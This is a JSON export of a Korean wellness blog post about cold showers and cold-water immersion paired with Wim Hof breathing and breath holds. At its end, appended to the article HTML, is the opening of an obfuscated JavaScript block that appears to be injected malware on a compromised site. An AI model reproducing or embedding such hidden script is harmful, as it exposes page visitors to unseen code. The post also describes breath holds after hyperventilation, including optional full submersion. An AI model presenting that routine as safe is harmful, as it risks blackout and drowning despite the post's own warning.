{"id":2042,"date":"2021-02-26T12:08:20","date_gmt":"2021-02-26T03:08:20","guid":{"rendered":"http:\/\/aligns.co.kr\/?p=2042"},"modified":"2021-10-12T12:55:50","modified_gmt":"2021-10-12T03:55:50","slug":"fit-4","status":"publish","type":"post","link":"https:\/\/aligns.co.kr\/fit-4\/","title":{"rendered":"\uc544\uce68\uc5d0 \ub2f9\uc7a5 \u2018\ucc2c\ubb3c\u2019\ub85c \uc758\uc2dd\uc744 \uae68\uc6b0\ub294 \uac83\uc774 \uc5b4\ub835\ub2e4\uba74."},"content":{"rendered":"\n<p>\uc6b0\ub9ac \uc911 \uc77c\ubd80\ub294 \uc544\uce68\ub9c8\ub2e4 \uc0e4\uc6cc\uae30 \ubb3c\uc744 \ud55c\uaecf \ucc28\uac11\uac8c \ud2c0\uc740 \ud6c4 \uc774\ub97c \uc545\ubb3c\uace0 \uadf8 \ubb3c\uc744 \ub9de\uc73c\uba70 \ubab8\uc744 \uc53b\uace0 \uc0f4\ud478\uc5d0 \uc591\uce58\uae4c\uc9c0 \ub05d\ub0b4\ub294 \uc774\ub4e4\ub3c4 \uc788\uaca0\uc8e0 . \uc800\ub294 \uadf8 \uc815\ub3c4\uc758 \ub2e8\uacc4\uae4c\uc9c0 \ub2f9\uc7a5 \ub3c4\ub2ec\ud558\ub77c\ub294 \uac83\uc740 \uc544\ub2d9\ub2c8\ub2e4 . \uc0ac\uc2e4 \uc544\uce68\uc744 \uc990\uac81\uace0 \uc0c1\ucf8c\ud558\uac8c \ub9de\uae30 \uc704\ud574\uc11c\ub294 \uc774\ub7ec\ud55c \uac74\uac15\ud55c \uc2b5\uad00\uc744 \ub4e4\uc774\ub294 \ub300\ud55c \ucda9\ubd84\ud55c \uc5f0\uc2b5\uacfc \ub9c8\uc74c\uc758 \uc900\ube44\uac00 \uc6b0\uc120\uc2dc\ub418\uc5b4\uc57c \ud55c\ub2e4\ub294 \uac83\uc774 \uc800\uc758 \uc0dd\uac01\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uba3c\uc800 \uc774\ub807\uac8c \ud574\ubcf4\ub294 \uac81\ub2c8\ub2e4 . \ub530\ub4ef\ud55c \ubb3c\uc744 \ud2c0\uc5b4 \ub193\uace0 \uc608\uc804\uacfc \ub611\uac19\uc774 \uc0e4\uc6cc\ub97c \uc990\uae30\uc138\uc694 . \ub530\ub4ef\ud55c \ubb3c\uc5d0 \ubab8\uc774 \ub179\uc740 \ucc44\ub85c \ub9c8\ub0e5 \uc11c\uc788\ub294 \uac83\ub3c4 \uc88b\uc9c0 \uc54a\uc9c0\ub9cc \uadf8\ub807\ub2e4\uace0 \uacfc\ud558\uac8c \uc11c\ub450\ub97c \ud544\uc694\ub294 \uc5c6\uc2b5\ub2c8\ub2e4. \ubab8\uc744 \uae68\ub057\uc774 \uc53b\uace0 \ub298 \ub530\ub974\ub294 \uccad\uacb0 \ub8e8\ud2f4\uc5d0 \ub611\uac19\uc774 \uc9d1\uc911\ud558\uc138\uc694 . \uadf8\ub9ac\uace0 , \uadf8 \u7523 \uccad\uacb0 \uacfc\uc815 \u759d \uc744 \ub9c8\uce5c \ub4a4 \uc628\uc218\ub97c \ub9de\ub294 \uc0c1\ud0dc\uc5d0\uc11c \uc55e\uc11c \uc18c\uac1c\ud574 \ub4dc\ub9b0 \uc714 \ud638\ud504 \ud638\ud761\ubc95\uc744 \uc2dc\ud589\ud558\uc138\uc694 . (30 \ubc88\uc758 \ud638\ud761\uc744 \ub9c8\uce60 \ub54c\uae4c\uc9c0 , \ud639\uc740 \uc911\uac04\uc5d0 \uc190\ubc1c \ub05d\uc5d0\uc11c \uc57d\uac04\uc758 \uc800\ub9bf\ud55c \ub290\ub08c\uc774 \ub4e4\ub54c\uae4c\uc9c0 \ud558\uc138\uc694 ) \uadf8 \ud6c4 \ubb3c \uc628\ub3c4\ub97c \uac00\uc7a5 \ucc28\uac11\uac8c \ud2c0\uc5b4 \ubab8 \uc804\uccb4\uac00 \ucc2c\ubb3c\uc744 \ub9de\uac8c\ub054 \ud558\ub294 \uac81\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucc2c\ubb3c\uc774 \ubab8\uc744 \ub54c\ub9ac\ub294 \uadf8 \uc21c\uac04 \uc544\ub9c8\ub3c4 \uc5ec\ub7ec\ubd84\uc758 \uac00\uc7a5 \uc790\uc5f0\uc2a4\ub7ec\uc6b4 \ubc18\uc751\uc744 \uc21c\uac04\uc801\uc73c\ub85c \ud638\ud761\uc744 \ud5c9 \ud558\uace0 \uba48\ucd94\ub294 \uac78 \uac81\ub2c8\ub2e4 . \uadf8\ub54c \ubab8\uc758 \ubc18\uc751\uacfc \uadf8 \ucc28\uac00\uc6b4 \uae30\uc6b4\uc5d0 \uadc0\ub97c \uae30\uc6b8\uc774\uc138\uc694 . \uc5ec\ub7ec\ubd84\uc5d0\uac8c \uacc4\uc18d \ud638\ud761\uc744 \uba48\ucd94\uc9c0 \ub9d0\ub77c\ub294 \uadf8 \ubaa9\uc18c\ub9ac\uc5d0 \uadc0\ub97c \uae30\uc6b8\uc774\uace0 \uc758\uc2dd\uc801\uc73c\ub85c \ud638\ud761\uc744 \uc9c0\uc18d\ud558\ub294 \uac81\ub2c8\ub2e4. \ubab8\uc774 \uadf8 \ucc2c \uae30\uc6b4\uc5d0 \uc870\uae08 \uc775\uc219\ud574\uc9c8 \ub54c\uae4c\uc9c0 \uc714 \ud638\ud504 \ud638\ud761\ubc95\uc744 \ub2e4\uc2dc \ubc18\ubcf5\ud574\uc90d\ub2c8\ub2e4 . \uc5b4\ub290 \uc815\ub3c4 \ubab8\uc774 \uc9c4\uc815\uc774 \ub41c \uc21c\uac04 \uc228\uc744 \ud55c\ubc88 \ubc49\uc740 \ud6c4 \ub354 \uc774\uc0c1\uc758 \ud638\ud761\uc744 \uba48\ucd98 \ucc44 \ubc84\ud2f8 \uc218 \uc788\ub294 \ub9cc\ud07c \uc228\uc744 \ucc38\uc544\uc8fc\uc138\uc694 . \uc911\uac04\uc5d0 \ud604\uae30\uc99d\uc774 \ub09c\ub2e4\uba74 \ubb3c\uc904\uae30 \ubc11\uc5d0 \uc7a0\uc2dc \uc549\uc544\ub3c4 \uc88b\uc2b5\ub2c8\ub2e4 . \ud604\uae30\uc99d \ub54c\ubb38\uc5d0 \ub118\uc5b4\uc838 \ub1cc\uc9c4\ud0d5\uc774 \uc0dd\uae30\ub294 \uac74 \uc6b0\ub9ac\uac00 \uc6d0\ud558\ub294 \ud638\ub974\uba54\uc2dc\uc2a4 \ud6a8\uacfc\uc640\ub294 \uc544\ubb34\ub798\ub3c4 \uac70\ub9ac\uac00 \uba38\ub2c8\uae4c\uc694 . \uc774 \ub54c\ubb38\uc5d0 \ubcd1\uc6d0\uc5d0 \uc2e4\ub824\uac04\ub2e4 \ud558\ub354\ub77c\ub3c4 \uc758\uc0ac\uc5d0\uac8c \uc0e4\uc6cc \uc911\uc5d0 \uc714 \ud638\ud504 \ud638\ud761\ubc95 \ub530\ub77c\ud558\ub2e4\uac00 \ub118\uc5b4\uc84c\ub2e4\uace0 \uc124\uba85\ud558\uae30\uc5d0\ub294 \ubb54\uac00 \uc560\ub9e4\ud558\uc9c0 \uc54a\uc744\uae4c\uc694?<\/p>\n\n\n\n<p>\ubcf4\ud1b5 \uc0e4\uc6cc\ud558\ub294 \ub370\uc5d0 \uc801\uc815\ud55c \uc2dc\uac04\uc740 10 \ubd84 \uc815\ub3c4\uac00 \ub418\ub294 \ub370 \uc55e\uc11c \ub9d0\ud55c \ucc2c\ubb3c \uc0e4\uc6cc \uc2dc\uac04\uc740 \uc774 \uc911 \ucd5c\uc18c 3 \ubd84\uc815\ub3c4 \ud574\uc8fc\ub294 \uac83\uc774 \uc801\ub2f9\ud558\uaca0\uc2b5\ub2c8\ub2e4 . \ud638\ud761\uc744 \ud558\ub294 \uc911\uac04\uc5d0 \uc7a0\uc2dc \uc628\uc218\ub85c \ubc14\uafb8\uc5b4 \ub9de\uc740 \ud6c4 \ub2e4\uc2dc \ucc2c\ubb3c\uc744 \ud2c0\uc5b4\uc8fc\ub294 \uac83\ub3c4 \ub354 \ub192\uc740 \ud6a8\uacfc\ub97c \ub0bc \uc218 \uc788\uc2b5\ub2c8\ub2e4 . \ubab8\uc774 \ubcf4\ub0b4\ub294 \uc2e0\ud638\uc5d0 \uc9d1\uc911\ud558\uace0 \uc774\ub97c \ucc9c\ucc9c\ud788 \ud0d0\uad6c\ud558\uba70 \ubcf8\uc778\uc758 \ubab8\uc5d0 \uac00\uc7a5 \ub9de\ub294 \ubc29\ubc95\uc744 \ucc3e\uc544\ubcf4\uc138\uc694 . \uc5b4\ub5a4 \ubc29\ubc95\uc774\ub4e0\uc9c0 \ucc2c\ubb3c\uc5d0 \ub178\ucd9c\ub418\ub294 \uc2dc\uac04\uc740 \ucd5c\uc18c 3 \ubd84\uc815\ub3c4 \ud574\uc8fc\ub294 \uc810\ub9cc \uac00\uae09\uc801 \uc9c0\ucf1c \uc8fc\uc2dc\uace0\uc694 .<\/p>\n\n\n\n<p>\ucd08\uc2ec\uc790\uc5d0\uac8c\ub294 \ucc2c\ubb3c \uc544\ub798\uc758 \uc774 3 \ubd84\uc774\ub77c\ub294 \uc2dc\uac04\uc774 \uc601\uac81\uc758 \uc2dc\uac04\ucc98\ub7fc \ub290\uaef4\uc9c0\ub294 \ubc18\uba74 , \uadf8\ub7f0 \uc5c4\uccad\ub09c \ud6a8\ub2a5\uc744 \uc5bb\uae30\uc5d0\ub294 \ub108\ubb34\ub098 \uc9e7\uc740 \uc2dc\uac04\uc73c\ub85c \ub290\uaef4\uc9c8 \uc218 \uc788\uc2b5\ub2c8\ub2e4 . \ud558\uc9c0\ub9cc \uc77c\ub2e8 \uafb8\uc900\ud788 \uc2e4\ucc9c\uc744 \ud574\ubcf4\uba74 , \uc774 3 \ubd84\uc774 \uc2a4\uc2a4\ub85c\uac00 \ubd88\uba78\uc758 \uc874\uc7ac\ucc98\ub7fc \ub290\uaef4\uc9c0\ub294 \uac83\uc5d0 \ub300\ud574 \uc9c0\ubd88\ud558\ub294 \uc544\uc8fc \uc2fc \uac12\ucc98\ub7fc \uc0dd\uac01\uc774 \ub420 \uac81\ub2c8\ub2e4 . \uc774 \ud30c\uc6cc \uc0e4\uc6cc\uc5d0 \uc775\uc219\ud574\uc9c4 \ud6c4\uc5d0\ub294 \ud55c \ub2e8\uacc4 \ub354 \ub098\uc544\uac00 \uc804\uc2e0\uc744 \ucc2c\ubb3c\uc5d0 \ub2f4\uadf8\ub294 \uac83\ub3c4 \ub3c4\uc804\ud574\ubcfc \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc774 \ub0c9\uac01 \ucda9\uaca9\uc758 \ud6a8\uacfc\ub97c \uadf9\ub300\ud654\ud558\ub294 \uac00\uc7a5 \uc88b\uc740 \ubc29\ubc95\uc740 \ubc18\ub300\uc758 \uc694\ubc95\uc744 \ucd94\uac00\ud574\uc8fc\ub294 \uac83\uc785\ub2c8\ub2e4 . \ubab8\uc774 \ucc28\uac00\uc6cc\uc84c\uc744 \ub54c \uc7a0\uc2dc \ub2e4\uc2dc \ub530\ub4ef\ud558\uac8c \ub370\uc6cc\uc8fc\uace0 , \ubab8\uc774 \ub530\ub4ef\ud574\uc9c0\uba74 \ub2e4\uc2dc \ub3c4\ub85c \ucc28\uac11\uac8c \ud574\uc8fc\ub294 \uac83\uc774\uc8e0 . \ubb54\uac00 \uc774\uc0c1\ud558\uac8c \ub4e4\ub9ac\uaca0\uc9c0\ub9cc \ub2e8\uccb4\ub85c \uc2a4\ud0a4\uc7a5\uc5d0 \ub180\ub7ec\uac00 \uc220\uc744 \ub9c8\uc2dc\uace0 \ucde8\ud574 \ubcf8\uc801\uc774 \uc788\ub294 \ubd84\ub4e4\uc740 \uc81c\uac00 \ubb34\uc2a8 \ub9d0\uc744 \ud558\ub294\uc9c0 \uc774\ud574\uac00 \ub418\uc2e4 \uac81\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ud30c\uc6cc \uc0e4\uc6cc\uc640 \ub9c8\ucc2c\uac00\uc9c0\ub85c \uc774 \ucc2c\ubb3c \ub2f4\uae08\ubc95\uc740 \ub9e4\uc77c \uc2e4\ud589\ud558\uc154\ub3c4 \uc88b\uc2b5\ub2c8\ub2e4 . \ub2e8 \uc774\ubbf8 \uc2a4\ud2b8\ub808\uc2a4\ub97c \ub9ce\uc774 \ubc1b\uc740 \uc0c1\ud0dc\uc774\uac70\ub098 \ucee8\ub514\uc158\uc774 \uc88b\uc9c0 \uc54a\uc740 \ub0a0\uc5d0\ub294 \ub9e4\uc6b0 \uc704\ud5d8\ud560 \uc218 \uc788\uc73c\ubbc0\ub85c \uae08\ud574\uc8fc\uc154\uc57c\uaca0\uc8e0. \ubc18\ub300 \uc694\ubc95\uc774 \ud544\uc218\uc0ac\ud56d\uc740 \uc544\ub2c8\uc9c0\ub9cc \uc81c \uacbd\uc6b0\uc5d0\ub294 \uc88b\uc740 \ud6a8\uacfc\ub97c \ub9ce\uc774 \ubcf8 \uac83\uc73c\ub85c \uae30\uc5b5\ud569\ub2c8\ub2e4. \ud55c\ud3b8 \uac00\uc7a5 \uc911\uc694\ud55c \uac74 , \uc5ed\uc2dc \uc5ec\ub7ec\ubd84\uc758 \ub9c8\uc74c \uc18d\uc5d0\uc11c \ubcf4\ub0b4\ub294 \uc720\ud639\uc774 \uc544\ub2cc \ubab8\uc758 \uc2e4\uc81c \ubc18\uc751\uc5d0 \uadc0\ub97c \uae30\uc6b8\uc774\ub294 \uac81\ub2c8\ub2e4 . \uc800\ud56d\uacfc \ub450\ub824\uc6c0\uc758 \ubaa9\uc18c\ub9ac\ub97c \uad6c\ubd84\ud574 \ub0b4\uc57c \ud55c\ub2e4\ub294 \uc758\ubbf8\uc785\ub2c8\ub2e4 .<\/p>\n\n\n\n<p>\ub610\ud55c \ud638\ub974\uba54\uc2dc\uc2a4 \ud6a8\uacfc\ub97c \uc5bb\uae30 \uc704\ud574 \uc0ac\uc6a9\ub418\ub294 \uc9e7\uc740 \uc2a4\ud2b8\ub808\uc2a4\uc758 \uc801\uc815\ub7c9\uc744 \uc798 \uc778\uc2dd\ud558\ub294 \uac83\ub3c4 \uc911\uc694\ud569\ub2c8\ub2e4 . \ud638\ub974\uba54\uc2dc\uc2a4 \ud6a8\uacfc\ub294 \uc774\ub7f0 \uc2a4\ud2b8\ub808\uc2a4\uc5d0 \uc800\ud56d\ud558\uace0 \uadf9\ubcf5\ud574\ub0b4\ub294 \uacfc\uc815\uc744 \ud1b5\ud574 \uc6b0\ub9ac \ubab8\uc774 \ud68c\ubcf5\uc744 \ub04c\uc5b4\ub0b4\ub294 \ub2a5\ub825\uce58\uc5d0 \ube44\ub840\ud55c \ub9cc\ud07c\ub9cc \uadf8 \ud6a8\ub2a5\uc774 \uc720\ud6a8\ud558\ub2e4\ub294 \uc810\uc744 \uc78a\uc9c0 \ub9c8\uc138\uc694 . \uc6b0\ub9ac \ubab8\uc774 \uc774\ub97c \uac10\ub2f9\ud574\ub0b4\uc9c0 \ubabb\ud558\ub294 \uacbd\uc6b0 , \uc774\ub7f0 \uc2a4\ud2b8\ub808\uc2a4\ub294 \uac70\uafb8\ub85c \uc6b0\ub9ac \ubab8\uc5d0\uac8c \uc131\uc7a5\uc774 \uc544\ub2cc \ub3c5\ub9cc \ub420 \ubfd0\uc785\ub2c8\ub2e4 . \ub808\ubca8 1 \ub2e8\uacc4\ubd80\ud130 \uc2dc\ub3c4\ud574\ubcf4\uba70 \ub2e4\uc74c \ub2e8\uacc4\ub85c \uc62c\ub77c\uac00\uae30 \uc804\uae4c\uc9c0 \ucda9\ubd84\ud55c \uc2dc\uac04\uc744 \ub4e4\uc774\uc138\uc694 . \ub9c8\uce68\ub0b4 \ub808\ubca8 2 \ub2e8\uacc4\uc5d0 \uc62c\ub77c\uac04 \ud6c4\uc5d0\ub3c4 \ud639\uc2dc 2 \ubd84\uc774 \ub108\ubb34 \uae34 \ub4ef\ud558\ub2e4\uba74 \uc774\ub97c \ubaa9\ud45c\ub85c \uc0bc\uc544 \ucc9c\ucc9c\ud788 2 \ubd84\uae4c\uc9c0 \ub3c4\ub2ec\ud560 \uc218 \uc788\ub3c4\ub85d \ud574\ubcf4\ub294 \uac83\ub3c4 \uad1c\ucc2e\uc2b5\ub2c8\ub2e4 . \ubc84\ud2f8 \uc218 \uc788\ub294\uc9c0\uc5d0 \ub300\ud55c \uc5ec\ubd80\ub294 \uc5ec\ub7ec\ubd84\uc758 \ubab8\ub9cc\uc774 \uc54c \uc218 \uc788\ub294 \uc77c\uc774\uba70 \uc774\ub7ec\ud55c \ubaa9\uc18c\ub9ac\uc5d0 \uadc0 \uae30\uc6b8\uc774\ub294 \uac83\uc740 \uc624\ub86f\uc774 \uc5ec\ub7ec\ubd84\uc758 \ubaab\uc774\ub2c8\uae4c\uc694.<\/p>\n\n\n\n<p>\ud639\uc2dc \uc624\ub298 \ub9d0\uc500 \ub4dc\ub9b0 \ub0b4\uc6a9\ub300\ub85c \ud574\ubd24\ub294\ub370 \uc0dd\uac01\ubcf4\ub2e4 \uad1c\ucc2e\uc558\ub2e4. \ud558\uc2dc\ub294 \ubd84\ub4e4\uc744 \uc704\ud574 \ud55c\uac00\uc9c0 \ud301\uc744 \ucd94\uac00\uc801\uc73c\ub85c \ub4dc\ub9b4\uae4c \ud569\ub2c8\ub2e4. \ubc14\ub85c \u2018\ucc2c\ubb3c \ub2f4\uae08\ubc95\u2019\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucc2c\ubb3c \ub2f4\uae08\ubc95<\/p>\n\n\n\n<p>1. \ubb3c \uc548\uc73c\ub85c \ub4e4\uc5b4\uac00\uae30 \uc804 , \ud639\uc740 \uc0e4\uc6cc\ub97c \ub9c8\uce5c \ud6c4 \uc714 \ud638\ud504 \ud638\ud761\ubc95\uc744 \uc6b0\uc120 \uc2dc\ud589\ud574\uc90d\ub2c8\ub2e4 .<\/p>\n\n\n\n<p>2. \ucc2c\ubb3c\uc774 \ub4e0 \uc695\uc870\uc5d0 \ubab8\uc744 \ub2f4\uadf8\uac70\ub098 \ucc2c \uac15\ubb3c \ub4f1\uc5d0 \uc785\uc218\ud569\ub2c8\ub2e4 . 2 \ubd84\uc73c\ub85c \ud0c0\uc774\uba38\ub97c \ub9de\ucdb0\uc90d\ub2c8\ub2e4 . 2 \ubd84\uc9dc\ub9ac \ub178\ub798\ub97c \uac10\uc0c1\ud558\ub294 \uac83\ub3c4 \ubc84\ud2f0\ub294 \ub370\uc5d0 \ub3c4\uc6c0\uc774 \ub420 \uc218 \uc788\uc2b5\ub2c8\ub2e4 .<\/p>\n\n\n\n<p>3. \ucc2c \uae30\uc6b4\uc73c\ub85c \ub180\ub780 \ud638\ud761\uc774 \uc9c4\uc815 \ub420 \ub54c\uae4c\uc9c0 \uc714 \ud638\ud504 \ud638\ud761\ubc95\uc744 \uacc4\uc18d \uc2dc\ud589\ud574\uc90d\ub2c8\ub2e4 .<\/p>\n\n\n\n<p>4. \ub9c8\uc9c0\ub9c9 \uc228\uc744 \uc644\uc804\ud788 \ubc49\uc740 \ud6c4 \ubc84\ud2f8 \uc218 \uc788\ub294 \ub9cc\ud07c \ud638\ud761\uc744 \uba48\ucda5\ub2c8\ub2e4 .<\/p>\n\n\n\n<p>5. \ub354 \uae4a\uc740 \ud6a8\uacfc\ub97c \ubcf4\uace0 \uc2f6\uac70\ub098 \uc548\uc804\uc744 \uc704\ud574 \ub3d9\ubc18\ud55c \uc77c\ud589\uc774 \uc788\ub2e4\uba74 \uc644\uc804\ud788 \ubb3c \uc18d\uc5d0 \uc7a0\uc218\ub97c \uc2dc\ub3c4\ud574\ubcf4\uc138\uc694.<\/p>\n\n\n\n<p>6. 2 \ubd84 \ud6c4 \ubb3c\uc18d\uc5d0\uc11c \ub098\uc624\uc138\uc694 .<\/p>\n\n\n\n<p>\uc120\ud0dd\uc0ac\ud56d : \ub05d\ub09c \ud6c4 \ub530\ub4ef\ud55c \ubb3c\ub85c \uc0e4\uc6cc \ud639\uc740 \uc0ac\uc6b0\ub098\uc5d0 \ub4e4\uc5b4\uac14\ub2e4 \ub098\uc624\ub294 \ub4f1\uc758 \ubc18\ub300 \uc694\ubc95\ub3c4 \uc2dc\ub3c4\ud574\ubcf4\uc138\uc694 . \ubc18\ub300 \uc694\ubc95\uc774 \ub05d\ub09c \ub4a4\uc5d0\ub294 \ub2e4\uc2dc \ub0c9\uac01 \ucda9\uaca9\uc744 \ud55c \ubc88 \ub354 \ubc18\ubcf5\ud574\uc8fc\ub294 \uac83\uc774 \uc88b\uc2b5\ub2c8\ub2e4 . \ubb34\ub9ac\ud558\ub294 \uac74 \uc88b\uc9c0 \uc54a\uc73c\ubbc0\ub85c \uadf8 \ub0a0\uc758 \ucee8\ub514\uc158\uc5d0 \ub530\ub77c \ubc29\uc2dd\uc744 \uc870\uc815\ud560 \uac83\uc744 \uac15\ud558\uac8c \uad8c\uc7a5\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc8fc\uc758\uc0ac\ud56d : \uc595\uc740 \uc218\uc2ec \ube14\ub799\uc544\uc6c3<\/p>\n\n\n\n<p>\uac04\ub2e8\ud55c \uc694\ubc95\uc774\ub77c\ub3c4 \ub298 \uc870\uc2ec\ud560 \uac83 ! \ucc2c\ubb3c \ubaa9\uc695\uc5d0\uc11c\uc758 \uc775\uc0ac \uc704\ud5d8\ub3c4 \uc808\ub300 \ubb34\uc2dc\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4 . \ud558\ub8e8\uc758 \uc8fc\ub3c4\uad8c\uc744 \uc7a1\uae30 \uc704\ud55c \uc5ec\uc815\uc774 \uc774\ub807\uac8c \ud5c8\ubb34\ud558\uac8c \ub05d\ub098\ubc84\ub9ac\uba74 \uace4\ub780\ud558\uaca0\uc8e0 . \uc644\uc804\ud788 \ucc2c \uc628\ub3c4\uc5d0 \ubab8\uc744 \ub2f4\uadf8\ub294 \uac83\uacfc \ud638\ud761\ubc95\uc774 \ud569\uccd0\uc9c8 \uc2dc \uc790\uce6b\ud558\uba74 \uc595\uc740 \uc218\uc2ec \ube14\ub799\uc544\uc6c3\uc774\ub77c\ub294 \uc0ac\uace0\uc5d0 \ub178\ucd9c\ub420 \uc218 \uc788\uc2b5\ub2c8\ub2e4 . \uc2a4\ucfe0\ubc84 \ub2e4\uc774\ube59\uacfc \ub3d9\uc77c\ud558\uac8c \uac15\uc774\ub098 \uc678\ubd80\uc5d0\uc11c \uc774\ub7ec\ud55c \uc694\ubc95\uc744 \uc2dc\ud589\ud560 \ub54c\uc5d0\ub294 \uc9c0\uc778\uc744 \uadf8 \uc790\ub9ac\uc5d0 \ub3d9\ubc18\ud558\ub294 \uac83\uc774 \uac00\uc7a5 \uc88b\uc2b5\ub2c8\ub2e4 . \ubb3c \ubc11\uc73c\ub85c \uc644\uc804\ud788 \uc7a0\uc218\ub97c \ud560 \ub54c\ub294 \uc190\uc744 \uc774\uc6a9\ud558\uc5ec \uc9c0\uc778\uc5d0\uac8c \ud45c\uc2dc\ub97c \uacc4\uc18d \ud574\uc8fc\ub294 \ubc95\ub3c4 \ucd94\ucc9c \ub4dc\ub9bd\ub2c8\ub2e4 . \ubb3c \uc18d\uc5d0\uc11c \uae30\uc808\ud558\ub294 \uac83\uc740 \ub098\uc57d\ud568\uc744 \uc758\ubbf8\ud558\ub294 \uac8c \uc544\ub2c8\ub77c \uc5b4\ub290 \ub204\uad6c\uc5d0\uac8c\ub294 \ubc1c\uc0dd\ud560 \uc218 \uc788\ub294 \uc0ac\uace0\uc774\ubbc0\ub85c \ubd80\ub044\ub7ec\uc6cc\ud560 \ud544\uc694 \uc5c6\uc774 \ub298 \ub300\ube44\ub97c \ud574\uc8fc\ub294 \uac8c \uc911\uc694\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ud30c\uc6cc \uc0e4\uc6cc , \ucc2c\ubb3c \ubaa9\uc695 \ub4f1\uc744 \ubc14\ub85c \uc5ec\ub7ec\ubd84\uc758 \uc77c\uc0c1\uc5d0 \uc801\uc6a9\ud558\uace0 \uc2e4\ucc9c\ud558\ub294 \uac83\uc774 \uc26c\uc6b4 \uc77c\uc774\ub77c \ub9d0\ud558\uc9c0\ub294 \uc54a\uaca0\uc2b5\ub2c8\ub2e4 . \uc0ac\uc2e4 \uc808\ub300\ub85c \uc27d\uc9c0\uac00 \uc54a\uc8e0 . \ud558\uc9c0\ub9cc \uc27d\uace0 \uc548\ub77d\ud55c \uc120\ud0dd\uc5d0\uc11c \uc624\ub294 \ubcf4\uc0c1\uc740 \uadf8\ub2e4\uc9c0 \ud06c\uc9c0 \uc54a\ub2e4\ub294 \uac83\uc744 \uba85\uc2ec\ud558\uc138\uc694 . \ub354 \ud06c\uace0 \uc7a5\uae30\uc801\uc778 \ubcf4\uc0c1\uc744 \ub204\ub9ac\uae30 \uc704\ud574\uc11c \uc5ec\ub7ec\ubd84\uc740 \uc55e\uc73c\ub85c \uadf8 \ucc28\uac00\uc6b4 \ubb3c\uc5d0 \ub300\ud55c \ub450\ub824\uc6c0\uc744 \uc815\ubcf5\ud574\ub0b4\uc57c \ud560 \uac81\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uadf8 \uc218\ub3c4\uaf2d\uc9c0\ub97c \uc628\uc218\ub85c \ub3cc\ub9ac\uace0 \uc2f6\uc740 \uc720\ud639\ub3c4 \uacac\ub38c\ub0b4\uc57c \ud558\uaca0\uc8e0 . \uc774\uac74 \uc0b6\uc744 \uc0ac\ub294 \ub370\uc5d0 \ud544\uc694\ud55c \ub2e4\ub978 \uc2a4\ud0ac\ub4e4\ub9cc\ud07c\uc774\ub098 \uc911\uc694\ud55c \ubd80\ubd84\uc785\ub2c8\ub2e4 . \uadf8 \ucc28\uac00\uc6b4 \ubb3c\uc774 \ubab8\uc744 \ub54c\ub9ac\ub294 \uc21c\uac04 \uc624\ub294 \uadf8 \uc9dc\ub9bf\ud55c \ub290\ub08c\uc740 , \ub2e8\uc21c\ud788 \ucc2c \ubb3c\uc5d0 \ub300\ud55c \uc2e0\uccb4\uc801 \uc800\ud56d\uc774 \uc544\ub2cc , \ubaa8\ub4e0 \uc720\ud639\uacfc \ub450\ub824\uc6c0 , \uadf8\ub9ac\uace0 \uc2a4\ud2b8\ub808\uc2a4\ub97c \uc774\uaca8\ub0c8\ub2e4\ub294 \uc2b9\ub9ac\uc5d0\uc11c \uc624\ub294 \uae30\uc068\uc774\uae30\ub3c4 \ud558\ub2e4\ub294 \uac83\uc744 \uae30\uc5b5\ud558\uc138\uc694.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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